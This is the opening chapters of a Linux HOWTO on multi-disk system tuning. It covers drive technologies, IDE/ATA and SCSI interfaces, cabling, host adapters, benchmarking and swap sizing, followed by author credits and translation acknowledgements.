4. File System Structure

  • 4.1 File System Features
  • 4.2 Explanation of Terms

5. File Systems

  • 5.1 General Purpose File Systems
  • 5.2 Microsoft File Systems
  • 5.3 Logging and Journaling File Systems
  • 5.4 Read-only File Systems
  • 5.5 Networking File Systems
  • 5.6 Special File Systems
  • 5.7 File System Recommendations

6. Technologies

  • 6.1 RAID
  • 6.2 Volume Management
  • 6.3 Linux md Kernel Patch
  • 6.4 Compression
  • 6.5 ACL
  • 6.6 cachefs
  • 6.7 Translucent or Inheriting File Systems
  • 6.8 Physical Track Positioning
  • 6.9 Yoke
  • 6.10 Stacking
  • 6.11 Recommendations

7. Other Operating Systems

  • 7.1 DOS
  • 7.2 Windows
  • 7.3 OS/2
  • 7.4 NT
  • 7.5 Windows 2000
  • 7.6 Sun OS
  • 7.7 BeOS

8. Clusters

9. Mount Points

10. Considerations and Dimensioning

  • 10.1 Home Systems
  • 10.2 Servers
  • 10.3 Pitfalls

11. Disk Layout

  • 11.1 Selection for Partitioning
  • 11.2 Mapping Partitions to Drives
  • 11.3 Sorting Partitions on Drives
  • 11.4 Optimizing
  • 11.5 Compromises

12. Implementation

  • 12.1 Checklist
  • 12.2 Drives and Partitions
  • 12.3 Partitioning
  • 12.4 Repartitioning
  • 12.5 Microsoft Partition Bug
  • 12.6 Multiple Devices (md)
  • 12.7 Formatting
  • 12.8 Mounting
  • 12.9 fstab
  • 12.10 Mount options
  • 12.11 Recommendations

13. Maintenance

  • 13.1 Backup
  • 13.2 Defragmentation
  • 13.3 Deletions
  • 13.4 Upgrades
  • 13.5 Recovery
  • 13.6 Rescue Disk

14. Advanced Issues

  • 14.1 Hard Disk Tuning
  • 14.2 File System Tuning
  • 14.3 Spindle Synchronizing

15. Troubleshooting

  • 15.1 During Installation
  • 15.2 During Booting
  • 15.3 During Running

16. Further Information

  • 16.1 News groups
  • 16.2 Mailing Lists
  • 16.3 HOWTO
  • 16.4 Mini-HOWTO
  • 16.5 Local Resources
  • 16.6 Web Pages
  • 16.7 Search Engines

17. Getting Help

18. Concluding Remarks

  • 18.1 Coming Soon
  • 18.2 Request for Information
  • 18.3 Suggested Project Work

19. Questions and Answers

20. Bits and Pieces

  • 20.1 Swap Partition: to Use or Not to Use
  • 20.2 Mount Point and /mnt
  • 20.3 Power and Heating
  • 20.4 Deja
  • 20.5 Crash Recovery

21. Appendix A: Partitioning Layout Table: Mounting and Linking

22. Appendix B: Partitioning Layout Table: Numbering and Sizing

23. Appendix C: Partitioning Layout Table: Partition Placement

24. Appendix D: Example: Multipurpose Server

25. Appendix E: Example: Mounting and Linking

26. Appendix F: Example: Numbering and Sizing

27. Appendix G: Example: Partition Placement

28. Appendix H: Example II

29. Appendix I: Example III: SPARC Solaris

30. Appendix J: Example IV: Server with 4 Drives

31. Appendix K: Example V: Dual Drive System

32. Appendix L: Example VI: Single Drive System

33. Appendix M: Disk System Documenter


HOWTO: Multi Disk System Tuning: Introduction

 Next Previous Contents

1. Introduction

For unclear reasons this brand new release is codenamed the Taylor3 release.

New code names will appear as per industry standard guidelines to emphasize the state-of-the-art-ness of this document.

This document was written for two reasons, mainly because I got hold of 3 old SCSI disks to set up my Linux system on and I was pondering how best to utilise the inherent possibilities of parallelizing in a SCSI system. Secondly I hear there is a prize for people who write documents...

This is intended to be read in conjunction with the Linux Filesystem Structure Standard (FSSTND). It does not in any way replace it but tries to suggest where physically to place directories detailed in the FSSTND, in terms of drives, partitions, types, RAID, file system (fs), physical sizes and other parameters that should be considered and tuned in a Linux system, ranging from single home systems to large servers on the Internet.

The followup to FSSTND is called the Filesystem Hierarchy Standard (FHS) and covers more than Linux alone. FHS versions 2.0, 2.1 and 2.2 have been released but there are still a few issues to be dealt with. Many recent distributions are now aiming for FHS compliance.

It is also a good idea to read the Linux Installation guides thoroughly and if you are using a PC system, which I guess the majority still does, you can find much relevant and useful information in the FAQs for the newsgroup comp.sys.ibm.pc.hardware especially for storage media.

This is also a learning experience for myself and I hope I can start the ball rolling with this HOWTO and that it perhaps can evolve into a larger more detailed and hopefully even more correct HOWTO.

First of all we need a bit of legalese. Recent development shows it is quite important.

1.1 Copyright

This document is Copyright 1996 Stein Gjoen. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts.

If you have any questions, please contact <{linux-howto@metalab.unc.edu}>

1.2 Disclaimer

Use the information in this document at your own risk. I disavow any potential liability for the contents of this document. Use of the concepts, examples, and/or other content of this document is entirely at your own risk.

All copyrights are owned by their owners, unless specifically noted otherwise. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

Naming of particular products or brands should not be seen as endorsements.

You are strongly recommended to take a backup of your system before major installation and backups at regular intervals.

1.3 News

This is a major upgrade featuring a new copyright statement that is intended to be Debian compliant and allow for inclusion in their distribution. A number of mistakes are corrected and new features added such as descriptions of recent ATA features and more.

On the development front people are concentrating their energy towards completing Linux 2.4 and until that is released there is not going to be much news on disk technology for Linux.

Also now the document is available in postscript both for US letter as well as European A4 formats.

The latest version number of this document can be gleaned from my plan entry if you finger my Nyx account.

Also, the latest version will be available on my web space on Nyx in a number of formats:

  • HTML.
  • plain ASCII text (ca. 6200 lines).
  • compressed postscript US letter format (ca. 90 pages).
  • compressed postscript European A4 format (ca. 85 pages).
  • SGML source (ca. 260 KB).

A European mirror of the Multi Disk HOWTO just went on line.

1.4 Credits

In this version I have the pleasure of acknowledging even more people who have contributed in one way or another:

ronnej (at ) ucs.orst.edu
cm (at) kukuruz.ping.at
armbru (at) pond.sub.org
R.P.Blake (at) open.ac.uk
neuffer (at) goofy.zdv.Uni-Mainz.de
sjmudd (at) redestb.es
nat (at) nataa.fr.eu.org
sundbyk (at) oslo.geco-prakla.slb.com
ggjoeen (at) online.no
mike (at) i-Connect.Net
roth (at) uiuc.edu
phall (at) ilap.com
szaka (at) mirror.cc.u-szeged.hu
CMckeon (at) swcp.com
kris (at) koentopp.de
edick (at) idcomm.com
pot (at) fly.cnuce.cnr.it
earl (at) sbox.tu-graz.ac.at
ebacon (at) oanet.com
vax (at) linkdead.paranoia.com
tschenk (at) theoffice.net
pjfarley (at) dorsai.org
jean (at) stat.ubc.ca
johnf (at) whitsunday.net.au
clasen (at) unidui.uni-duisburg.de
eeslgw (at) ee.surrey.asc.uk
adam (at) onshore.com
anikolae (at) wega-fddi2.rz.uni-ulm.de
cjaeger (at) dwave.net
eperezte (at) c2i.net
yesteven (at) ms2.hinet.net
cj (at) samurajdata.se
tbotond (at) netx.hu
russel (at) coker.com.au
lars (at) iar.se
GALLAGS3 (at) labs.wyeth.com
morimoto (at) xantia.citroen.org
shulegaa (at) gatekeeper.txl.com
roman.legat (at) stud.uni-hannover.de
ahamish (at) hicks.alien.usr.com
hduff2 (at) worldnet.att.net
mbaehr (at) email.archlab.tuwien.ac.at
adc (at) postoffice.utas.edu.au
pjm (at) bofh.asn.au
jochen.berg (at) ac.com
jpotts (at) us.ibm.com
jarry (at) gmx.net
LeBlanc (at) mcc.ac.uk
masy (at) webmasters.gr.jp
karlheg (at) hegbloom.net
goeran (at) uddeborg.pp.se
wgm (at) telus.net

1.5 Translations

Special thanks go to nakano (at) apm.seikei.ac.jp for doing the Japanese translation, general contributions as well as contributing an example of a computer in an academic setting, which is included at the end of this document.

There are now many new translations available and special thanks go to the translators for the job and the input they have given:

  • German Translation by chewie (at) nuernberg.netsurf.de
  • Swedish Translation by jonah (at) swipnet.se
  • French Translation by Patrick.Loiseleur (at) lri.fr
  • Chinese Translation by yesteven (at ) ms2.hinet.net
  • Italian Translation by bigpaul (at) flashnet.it

ICP Vortex is gratefully acknowledges for sending in-depth information on their range of RAID controllers.

Also DPT is acknowledged for sending me documentation on their controllers as well as permission to quote from the material. These quotes have been approved before appearing here and will be clearly labelled. No quotes as of yet but that is coming.

Not many still, so please read through this document, make a contribution and join the elite. If I have forgotten anyone, please let me know.

New in this version is an appendix with a few tables you can fill in for your system in order to simplify the design process.

Any comments or suggestions can be mailed to my mail address on Nyx: sgjoen@nyx.net.

So let's cut to the chase where swap and /tmp are racing along hard drive...


HOWTO: Multi Disk System Tuning: Structure

 Next Previous Contents

2. Structure

As this type of document is supposed to be as much for learning as a technical reference document I have rearranged the structure to this end. For the designer of a system it is more useful to have the information presented in terms of the goals of this exercise than from the point of view of the logical layer structure of the devices themselves. Nevertheless this document would not be complete without such a layer structure the computer field is so full of, so I will include it here as an introduction to how it works.

It is a long time since the mini in mini-HOWTO could be defended as proper but I am convinced that this document is as long as it needs to be in order to make the right design decisions, and not longer.

2.1 Logical structure

This is based on how each layer access each other, traditionally with the application on top and the physical layer on the bottom. It is quite useful to show the interrelationship between each of the layers used in controlling drives.

        ___________________________________________________________
        |__     File structure          ( /usr /tmp etc)        __|
        |__     File system             (ext2fs, vfat etc)      __|
        |__     Volume management       (AFS)                   __|
        |__     RAID, concatenation     (md)                    __|
        |__     Device driver           (SCSI, IDE etc)         __|
        |__     Controller              (chip, card)            __|
        |__     Connection              (cable, network)        __|
        |__     Drive                   (magnetic, optical etc) __|
        -----------------------------------------------------------

In the above diagram both volume management and RAID and concatenation are optional layers. The 3 lower layers are in hardware. All parts are discussed at length later on in this document.

2.2 Document structure

Most users start out with a given set of hardware and some plans on what they wish to achieve and how big the system should be. This is the point of view I will adopt in this document in presenting the material, starting out with hardware, continuing with design constraints before detailing the design strategy that I have found to work well. I have used this both for my own personal computer at home, a multi purpose server at work and found it worked quite well. In addition my Japanese co-worker in this project have applied the same strategy on a server in an academic setting with similar success.

Finally at the end I have detailed some configuration tables for use in your own design. If you have any comments regarding this or notes from your own design work I would like to hear from you so this document can be upgraded.

2.3 Reading plan

Although not the biggest HOWTO it is nevertheless rather big already and I have been requested to make a reading plan to make it possible to cut down on the volume

Expert

(aka the elite). If you are familiar with Linux as well as disk drive technologies you will find most of what you need in the appendices. Additionally you are recommended to read the FAQ and the Bits'n'pieces chapter.

Experienced

(aka Competent). If you are familiar with computers in general you can go straight to the chapters on technologies and continue from there on.

Newbie

(mostly harmless). You just have to read the whole thing. Sorry. In addition you are also recommended to read all the other disk related HOWTOs.


HOWTO: Multi Disk System Tuning: Drive Technologies

 Next Previous Contents

3. Drive Technologies

A far more complete discussion on drive technologies for IBM PCs can be found at the home page of The Enhanced IDE/Fast-ATA FAQ which is also regularly posted on Usenet News. There is also a site dedicated to ATA and ATAPI Information and Software.

Here I will just present what is needed to get an understanding of the technology and get you started on your setup.

3.1 Drives

This is the physical device where your data lives and although the operating system makes the various types seem rather similar they can in actual fact be very different. An understanding of how it works can be very useful in your design work. Floppy drives fall outside the scope of this document, though should there be a big demand I could perhaps be persuaded to add a little here.

3.2 Geometry

Physically disk drives consists of one or more platters containing data that is read in and out using sensors mounted on movable heads that are fixed with respects to themselves. Data transfers therefore happens across all surfaces simultaneously which defines a cylinder of tracks. The drive is also divided into sectors containing a number of data fields.

Drives are therefore often specified in terms of its geometry: the number of Cylinders, Heads and Sectors (CHS).

For various reasons there is now a number of translations between

  • the physical CHS of the drive itself
  • the logical CHS the drive reports to the BIOS or OS
  • the logical CHS used by the OS

Basically it is a mess and a source of much confusion. For more information you are strongly recommended to read the Large Disk mini-HOWTO

3.3 Media

The media technology determines important parameters such as read/write rates, seek times, storage size as well as if it is read/write or read only.

Magnetic Drives

This is the typical read-write mass storage medium, and as everything else in the computer world, comes in many flavours with different properties. Usually this is the fastest technology and offers read/write capability. The platter rotates with a constant angular velocity (CAV) with a variable physical sector density for more efficient magnetic media area utilisation. In other words, the number of bits per unit length is kept roughly constant by increasing the number of logical sectors for the outer tracks.

Typical values for rotational speeds are 4500 and 5400 RPM, though 7200 is also used. Very recently also 10000 RPM has entered the mass market. Seek times are around 10 ms, transfer rates quite variable from one type to another but typically 4-40 MB/s. With the extreme high performance drives you should remember that performance costs more electric power which is dissipated as heat, see the point on Power and Heating.

Note that there are several kinds of transfers going on here, and that these are quoted in different units. First of all there is the platter-to-drive cache transfer, usually quoted in Mbits/s. Typical values here is about 50-250 Mbits/s. The second stage is from the built in drive cache to the adapter, and this is typically quoted in MB/s, and typical quoted values here is 3-40 MB/s. Note, however, that this assumed data is already in the cache and hence for maximum readout speed from the drive the effective transfer rate will decrease dramatically.

Optical Drives

Optical read/write drives exist but are slow and not so common. They were used in the NeXT machine but the low speed was a source for much of the complaints. The low speed is mainly due to the thermal nature of the phase change that represents the data storage. Even when using relatively powerful lasers to induce the phase changes the effects are still slower than the magnetic effect used in magnetic drives.

Today many people use CD-ROM drives which, as the name suggests, is read-only. Storage is about 650 MB, transfer speeds are variable, depending on the drive but can exceed 1.5 MB/s. Data is stored on a spiraling single track so it is not useful to talk about geometry for this. Data density is constant so the drive uses constant linear velocity (CLV). Seek is also slower, about 100 ms, partially due to the spiraling track. Recent, high speed drives, use a mix of CLV and CAV in order to maximize performance. This also reduces access time caused by the need to reach correct rotational speed for readout.

A new type (DVD) is on the horizon, offering up to about 18 GB on a single disk.

Solid State Drives

This is a relatively recent addition to the available technology and has been made popular especially in portable computers as well as in embedded systems. Containing no movable parts they are very fast both in terms of access and transfer rates. The most popular type is flash RAM, but also other types of RAM is used. A few years ago many had great hopes for magnetic bubble memories but it turned out to be relatively expensive and is not that common.

In general the use of RAM disks are regarded as a bad idea as it is normally more sensible to add more RAM to the motherboard and let the operating system divide the memory pool into buffers, cache, program and data areas. Only in very special cases, such as real time systems with short time margins, can RAM disks be a sensible solution.

Flash RAM is today available in several 10's of megabytes in storage and one might be tempted to use it for fast, temporary storage in a computer. There is however a huge snag with this: flash RAM has a finite life time in terms of the number of times you can rewrite data, so putting swap, /tmp or /var/tmp on such a device will certainly shorten its lifetime dramatically. Instead, using flash RAM for directories that are read often but rarely written to, will be a big performance win.

In order to get the optimum life time out of flash RAM you will need to use special drivers that will use the RAM evenly and minimize the number of block erases.

This example illustrates the advantages of splitting up your directory structure over several devices.

Solid state drives have no real cylinder/head/sector addressing but for compatibility reasons this is simulated by the driver to give a uniform interface to the operating system.

3.4 Interfaces

There is a plethora of interfaces to chose from widely ranging in price and performance. Most motherboards today include IDE interface which are part of modern chipsets.

Many motherboards also include a SCSI interface chip made by Symbios (formerly NCR) and that is connected directly to the PCI bus. Check what you have and what BIOS support you have with it.

MFM and RLL

Once upon a time this was the established technology, a time when 20 MB was awesome, which compared to todays sizes makes you think that dinosaurs roamed the Earth with these drives. Like the dinosaurs these are outdated and are slow and unreliable compared to what we have today. Linux does support this but you are well advised to think twice about what you would put on this. One might argue that an emergency partition with a suitable vintage of DOS might be fitting.

ESDI

Actually, ESDI was an adaptation of the very widely used SMD interface used on "big" computers to the cable set used with the ST506 interface, which was more convenient to package than the 60-pin + 26-pin connector pair used with SMD. The ST506 was a "dumb" interface which relied entirely on the controller and host computer to do everything from computing head/cylinder/sector locations and keeping track of the head location, etc. ST506 required the controller to extract clock from the recovered data, and control the physical location of detailed track features on the medium, bit by bit. It had about a 10-year life if you include the use of MFM, RLL, and ERLL/ARLL modulation schemes. ESDI, on the other hand, had intelligence, often using three or four separate microprocessors on a single drive, and high-level commands to format a track, transfer data, perform seeks, and so on. Clock recovery from the data stream was accomplished at the drive, which drove the clock line and presented its data in NRZ, though error correction was still the task of the controller. ESDI allowed the use of variable bit density recording, or, for that matter, any other modulation technique, since it was locally generated and resolved at the drive. Though many of the techniques used in ESDI were later incorporated in IDE, it was the increased popularity of SCSI which led to the demise of ESDI in computers. ESDI had a life of about 10 years, though mostly in servers and otherwise "big" systems rather than PC's.

IDE and ATA

Progress made the drive electronics migrate from the ISA slot card over to the drive itself and Integrated Drive Electronics was borne. It was simple, cheap and reasonably fast so the BIOS designers provided the kind of snag that the computer industry is so full of. A combination of an IDE limitation of 16 heads together with the BIOS limitation of 1024 cylinders gave us the infamous 504 MB limit. Following the computer industry traditions again, the snag was patched with a kludge and we got all sorts of translation schemes and BIOS bodges. This means that you need to read the installation documentation very carefully and check up on what BIOS you have and what date it has as the BIOS has to tell Linux what size drive you have. Fortunately with Linux you can also tell the kernel directly what size drive you have with the drive parameters, check the documentation for LILO and Loadlin, thoroughly. Note also that IDE is equivalent to ATA, AT Attachment. IDE uses CPU-intensive Programmed Input/Output (PIO) to transfer data to and from the drives and has no capability for the more efficient Direct Memory Access (DMA) technology. Highest transfer rate is 8.3 MB/s.

EIDE, Fast-ATA and ATA-2

These 3 terms are roughly equivalent, fast-ATA is ATA-2 but EIDE additionally includes ATAPI. ATA-2 is what most use these days which is faster and with DMA. Highest transfer rate is increased to 16.6 MB/s.

Ultra-ATA

A new, faster DMA mode that is approximately twice the speed of EIDE PIO-Mode 4 (33 MB/s). Disks with and without Ultra-ATA can be mixed on the same cable without speed penalty for the faster adapters. The Ultra-ATA interface is electrically identical with the normal Fast-ATA interface, including the maximum cable length.

The ATA/66 was superceeded by ATA/100 and very recently we have now gotten ATA/133. While the interface speed has iproved dramatically the disks are often limited by platter-to-cache limites which today stands at about 40 MB/s.

For more information read up on these overviews and whitepapers from Maxtor: Fast Drives Technology on the ATA/133 interface and Big Drives Technology on breaking the 137 GB limit.

Serial-ATA

A new, standard has been agreed upon, the Serial-ATA interface, backed by the The Serial ATA group who made the announcement in August 2001.

Advantages are numerous: simple, thin connectors rather than old cumbersome cable mats that also obstructued air flow, higher speeds (about 150 MB/s) and backward compatibility.

ATAPI

The ATA Packet Interface was designed to support CD-ROM drives using the IDE port and like IDE it is cheap and simple.

SCSI

The Small Computer System Interface is a multi purpose interface that can be used to connect to everything from drives, disk arrays, printers, scanners and more. The name is a bit of a misnomer as it has traditionally been used by the higher end of the market as well as in work stations since it is well suited for multi tasking environments.

The standard interface is 8 bits wide and can address 8 devices. There is a wide version with 16 bit that is twice as fast on the same clock and can address 16 devices. The host adapter always counts as a device and is usually number 7. It is also possible to have 32 bit wide busses but this usually requires a double set of cables to carry all the lines.

The old standard was 5 MB/s and the newer fast-SCSI increased this to 10 MB/s. Recently ultra-SCSI, also known as Fast-20, arrived with 20 MB/s transfer rates for an 8 bit wide bus. New low voltage differential (LVD) signalling allows these high speeds as well as much longer cabling than before.

Even more recently an even faster standard has been introduced: SCSI 160 (originally named SCSI 160/m) which is capable of a monstrous 160 MB/s over a 16 bit wide bus. Support is scarce yet but for a few 10000 RPM drives that can transfer 40 MB/s sustained. Putting 6 such drives on a RAID will keep such a bus saturated and also saturate most PCI busses. Obviously this is only for the very highest end servers per today. More information on this standard is available at The Ultra 160 SCSI home page

Adaptec just announced a Linux driver for their SCSI 160 host adapter. More information will come when more information becomes available.

Now also SCSI/320 is available.

The higher performance comes at a cost that is usually higher than for (E)IDE. The importance of correct termination and good quality cables cannot be overemphasized. SCSI drives also often tend to be of a higher quality than IDE drives. Also adding SCSI devices tend to be easier than adding more IDE drives: Often it is only a matter of plugging or unplugging the device; some people do this without powering down the system. This feature is most convenient when you have multiple systems and you can just take the devices from one system to the other should one of them fail for some reason.

There is a number of useful documents you should read if you use SCSI, the SCSI HOWTO as well as the SCSI FAQ posted on Usenet News.

SCSI also has the advantage you can connect it easily to tape drives for backing up your data, as well as some printers and scanners. It is even possible to use it as a very fast network between computers while simultaneously share SCSI devices on the same bus. Work is under way but due to problems with ensuring cache coherency between the different computers connected, this is a non trivial task.

SCSI numbers are also used for arbitration. If several drives request service, the drive with the lowest number is given priority.

Note that newer SCSI cards will simultaneously support an array of different types of SCSI devices all at individually optimized speeds.

3.5 Cabling

I do not intend to make too many comments on hardware but I feel I should make a little note on cabling. This might seem like a remarkably low technological piece of equipment, yet sadly it is the source of many frustrating problems. At todays high speeds one should think of the cable more of a an RF device with its inherent demands on impedance matching. If you do not take your precautions you will get a much reduced reliability or total failure. Some SCSI host adapters are more sensitive to this than others.

Shielded cables are of course better than unshielded but the price is much higher. With a little care you can get good performance from a cheap unshielded cable.

  • For Fast-ATA and Ultra-ATA, the maximum cable length is specified as 45cm (18"). The data lines of both IDE channels are connected on many boards, though, so they count as one cable. In any case EIDE cables should be as short as possible. If there are mysterious crashes or spontaneous changes of data, it is well worth investigating your cabling. Try a lower PIO mode or disconnect the second channel and see if the problem still occurs.
  • For Cable Select (ATA drives) you set the drive jumpers to cable select and use the cable to determine master and slave. This is not much used.
  • Do not have a slave on an ATA controller (primary or secondary) without a master on the same controller, behaviour in these cases is undetermined.
  • Use as short cable as possible, but do not forget the 30 cm minimum separation for ultra SCSI and 60 cm separation for differential SCSI.
  • Avoid long stubs between the cable and the drive, connect the plug on the cable directly to the drive without an extension.
  • SCSI Cabling limitations:
    Bus Speed (MHz)         |    Max Length (m)
--------------------------------------------------
 5                      |        6
10  (fast)              |        3
20  (fast-20 / ultra)   |        3 (max 4 devices), 1.5 (max 8 devices)
xx  (differential)      |       25 (max 16 devices
--------------------------------------------------
  • Use correct termination for SCSI devices and at the correct positions: both ends of the SCSI chain. Remember the host adapter itself may have on board termination.
  • Do not mix shielded or unshielded cabling, do not wrap cables around metal, try to avoid proximity to metal parts along parts of the cabling. Any such discontinuities can cause impedance mismatching which in turn can cause reflection of signals which increases noise on the cable. This problems gets even more severe in the case of multi channel controllers. Recently someone suggested wrapping bubble plastic around the cables in order to avoid too close proximity to metal, a real problem inside crowded cabinets.

More information on SCSI cabling and termination can be found at various web pages around the net.

3.6 Host Adapters

This is the other end of the interface from the drive, the part that is connected to a computer bus. The speed of the computer bus and that of the drives should be roughly similar, otherwise you have a bottleneck in your system. Connecting a RAID 0 disk-farm to a ISA card is pointless. These days most computers come with 32 bit PCI bus capable of 132 MB/s transfers which should not represent a bottleneck for most people in the near future.

As the drive electronic migrated to the drives the remaining part that became the (E)IDE interface is so small it can easily fit into the PCI chip set. The SCSI host adapter is more complex and often includes a small CPU of its own and is therefore more expensive and not integrated into the PCI chip sets available today. Technological evolution might change this.

Some host adapters come with separate caching and intelligence but as this is basically second guessing the operating system the gains are heavily dependent on which operating system is used. Some of the more primitive ones, that shall remain nameless, experience great gains. Linux, on the other hand, have so much smarts of its own that the gains are much smaller.

Mike Neuffer, who did the drivers for the DPT controllers, states that the DPT controllers are intelligent enough that given enough cache memory it will give you a big push in performance and suggests that people who have experienced little gains with smart controllers just have not used a sufficiently intelligent caching controller.

3.7 Multi Channel Systems

In order to increase throughput it is necessary to identify the most significant bottlenecks and then eliminate them. In some systems, in particular where there are a great number of drives connected, it is advantageous to use several controllers working in parallel, both for SCSI host adapters as well as IDE controllers which usually have 2 channels built in. Linux supports this.

Some RAID controllers feature 2 or 3 channels and it pays to spread the disk load across all channels. In other words, if you have two SCSI drives you want to RAID and a two channel controller, you should put each drive on separate channels.

3.8 Multi Board Systems

In addition to having both a SCSI and an IDE in the same machine it is also possible to have more than one SCSI controller. Check the SCSI-HOWTO on what controllers you can combine. Also you will most likely have to tell the kernel it should probe for more than just a single SCSI or a single IDE controller. This is done using kernel parameters when booting, for instance using LILO. Check the HOWTOs for SCSI and LILO for how to do this.

Multi board systems can offer significant speed gains if you configure your disks right, especially for RAID0. Make sure you interleave the controllers as well as the drives, so that you add drives to the md RAID device in the right order. If controller 1 is connected to drives sda and sdc while controller 2 is connected to drives sdb and sdd you will gain more paralellicity by adding in the order of sda - sdc - sdb - sdd rather than sda - sdb - sdc - sdd because a read or write over more than one cluster will be more likely to span two controllers.

The same methods can also be applied to IDE. Most motherboards come with typically 4 IDE ports:

  • hda primary master
  • hdb primary slave
  • hdc secondary master
  • hdd secondary slave
where the two primaries share one flat cable and the secondaries share another cable. Modern chipsets keep these independent. Therefore it is best to RAID in the order hda - hdc - hdb - hdd as this will most likely parallelise both channels.

3.9 Speed Comparison

The following tables are given just to indicate what speeds are possible but remember that these are the theoretical maximum speeds. All transfer rates are in MB per second and bus widths are measured in bits.

Controllers

IDE             :        8.3 - 16.7
Ultra-ATA       :       33 - 66

SCSI            :
                        Bus width (bits)

Bus Speed (MHz)         |        8      16      32
--------------------------------------------------
 5                      |        5      10      20
10  (fast)              |       10      20      40
20  (fast-20 / ultra)   |       20      40      80
40  (fast-40 / ultra-2) |       40      80      --
--------------------------------------------------

Bus Types

ISA             :        8-12
EISA            :       33
VESA            :       40    (Sometimes tuned to 50)

PCI
                        Bus width (bits)

Bus Speed (MHz)         |       32      64
--------------------------------------------------
33                      |       132     264
66                      |       264     528
--------------------------------------------------

3.10 Benchmarking

This is a very, very difficult topic and I will only make a few cautious comments about this minefield. First of all, it is more difficult to make comparable benchmarks that have any actual meaning. This, however, does not stop people from trying...

Instead one can use benchmarking to diagnose your own system, to check it is going as fast as it should, that is, not slowing down. Also you would expect a significant increase when switching from a simple file system to RAID, so a lack of performance gain will tell you something is wrong.

When you try to benchmark you should not hack up your own, instead look up iozone and bonnie and read the documentation very carefully. In particular make sure your buffer size is bigger than your RAM size, otherwise you test your RAM rather than your disks which will give you unrealistically high performance.

A very simple benchmark can be obtained using hdparm -tT which can be used both on IDE and SCSI drives.

For more information on benchmarking and software for a number of platforms, check out ACNC benchmark page as well as this one and also The Benchmarking-HOWTO.

There are also official home pages for bonnie, bonnie++ and iozone.

Trivia: Bonnie is intended to locate bottlenecks, the name is a tribute to Bonnie Raitt, "who knows how to use one" as the author puts it.

3.11 Comparisons

SCSI offers more performance than EIDE but at a price. Termination is more complex but expansion not too difficult. Having more than 4 (or in some cases 2) IDE drives can be complicated, with wide SCSI you can have up to 15 per adapter. Some SCSI host adapters have several channels thereby multiplying the number of possible drives even further.

For SCSI you have to dedicate one IRQ per host adapter which can control up to 15 drives. With EIDE you need one IRQ for each channel (which can connect up to 2 disks, master and slave) which can cause conflict.

RLL and MFM is in general too old, slow and unreliable to be of much use.

3.12 Future Development

SCSI-3 is under way and will hopefully be released soon. Faster devices are already being announced, recently an 80 MB/s and then a 160 MB/s monster specification has been proposed and also very recently became commercially available. These are based around the Ultra-2 standard (which used a 40 MHz clock) combined with a 16 bit cable.

Some manufacturers already announce SCSI-3 devices but this is currently rather premature as the standard is not yet firm. As the transfer speeds increase the saturation point of the PCI bus is getting closer. Currently the 64 bit version has a limit of 264 MB/s. The PCI transfer rate will in the future be increased from the current 33 MHz to 66 MHz, thereby increasing the limit to 528 MB/s.

The ATA development is continuing and is increasing the performance with the new ATA/100 standard. Since most ATA drives are slower in sustained transfer from platter than this the performance increase will for most people be small.

More interesting is the Serial ATA development, where the flat cable will be replaced with a high speed serial link. This makes cabling far simpler than today and also it solves the problem of cabling obstructing airflow over the drives.

Another trend is for larger and larger drives. I hear it is possible to get 75 GB on a single drive though this is rather expensive. Currently the optimum storage for your money is about 30 GB but also this is continuously increasing. The introduction of DVD will in the near future have a big impact, with nearly 20 GB on a single disk you can have a complete copy of even major FTP sites from around the world. The only thing we can be reasonably sure about the future is that even if it won't get any better, it will definitely be bigger.

Addendum: soon after I first wrote this I read that the maximum useful speed for a CD-ROM was 20x as mechanical stability would be too great a problem at these speeds. About one month after that again the first commercial 24x CD-ROMs were available... Currently you can get 40x and no doubt higher speeds are in the pipeline.

A project to encapsulate SCSI over TCP/IP, called iSCSI has started, and one Linux iSCSI implementation has appeared.

3.13 Recommendations

My personal view is that EIDE or Ultra ATA is the best way to start out on your system, especially if you intend to use DOS as well on your machine. If you plan to expand your system over many years or use it as a server I would strongly recommend you get SCSI drives. Currently wide SCSI is a little more expensive. You are generally more likely to get more for your money with standard width SCSI. There is also differential versions of the SCSI bus which increases maximum length of the cable. The price increase is even more substantial and cannot therefore be recommended for normal users.

In addition to disk drives you can also connect some types of scanners and printers and even networks to a SCSI bus.

Also keep in mind that as you expand your system you will draw ever more power, so make sure your power supply is rated for the job and that you have sufficient cooling. Many SCSI drives offer the option of sequential spin-up which is a good idea for large systems. See also Power and Heating.


HOWTO: Multi Disk System Tuning: File System Structure

 Next Previous Contents

4. File System Structure

Linux has been multi tasking from the very beginning where a number of programs interact and run continuously. It is therefore important to keep a file structure that everyone can agree on so that the system finds data where it expects to. Historically there has been so many different standards that it was confusing and compatibility was maintained using symbolic links which confused the issue even further and the structure ended looking like a maze.

In the case of Linux a standard was fortunately agreed on early on called the File Systems Standard (FSSTND) which today is used by all main Linux distributions.

Later it was decided to make a successor that should also support operating systems other than just Linux, called the Filesystem Hierarchy Standard (FHS) at version 2.2 currently. This standard is under continuous development and will soon be adopted by Linux distributions.

I recommend not trying to roll your own structure as a lot of thought has gone into the standards and many software packages comply with the standards. Instead you can read more about this at the FHS home page.

This HOWTO endeavours to comply with FSSTND and will follow FHS when distributions become available.

4.1 File System Features

The various parts of FSSTND have different requirements regarding speed, reliability and size, for instance losing root is a pain but can easily be recovered. Losing /var/spool/mail is a rather different issue. Here is a quick summary of some essential parts and their properties and requirements. Note that this is just a guide, there can be binaries in etc and lib directories, libraries in bin directories and so on.

Swap

Speed

Maximum! Though if you rely too much on swap you should consider buying some more RAM. Note, however, that on many old Pentium PC motherboards the cache will not work on RAM above 128 MB.

Size

Similar as for RAM. Quick and dirty algorithm: just as for tea: 16 MB for the machine and 2 MB for each user. Smallest kernel run in 1 MB but is tight, use 4 MB for general work and light applications, 8 MB for X11 or GCC or 16 MB to be comfortable. (The author is known to brew a rather powerful cuppa tea...)

Some suggest that swap space should be 1-2 times the size of the RAM, pointing out that the locality of the programs determines how effective your added swap space is. Note that using the same algorithm as for 4BSD is slightly incorrect as Linux does not allocate space for pages in core.

A more thorough approach is to consider swap space plus RAM as your total working set, so if you know how much space you will need at most, you subtract the physical RAM you have and that is the swap space you will need.

There is also another reason to be generous when dimensioning your swap space: memory leaks. Ill behaving programs that do not free the memory they allocate for themselves are said to have a memory leak. This allocation remains even after the offending program has stopped so this is a source of memory consumption. Only after the program dies is the memory returned. Once all physical RAM and swap space are exhausted the only solution is to kill the offending processes if possible, or failing that, reboot and start over. Thankfully such programs are not too common but should you come across one you will find that extra swap space will buy you extra time between reboots.

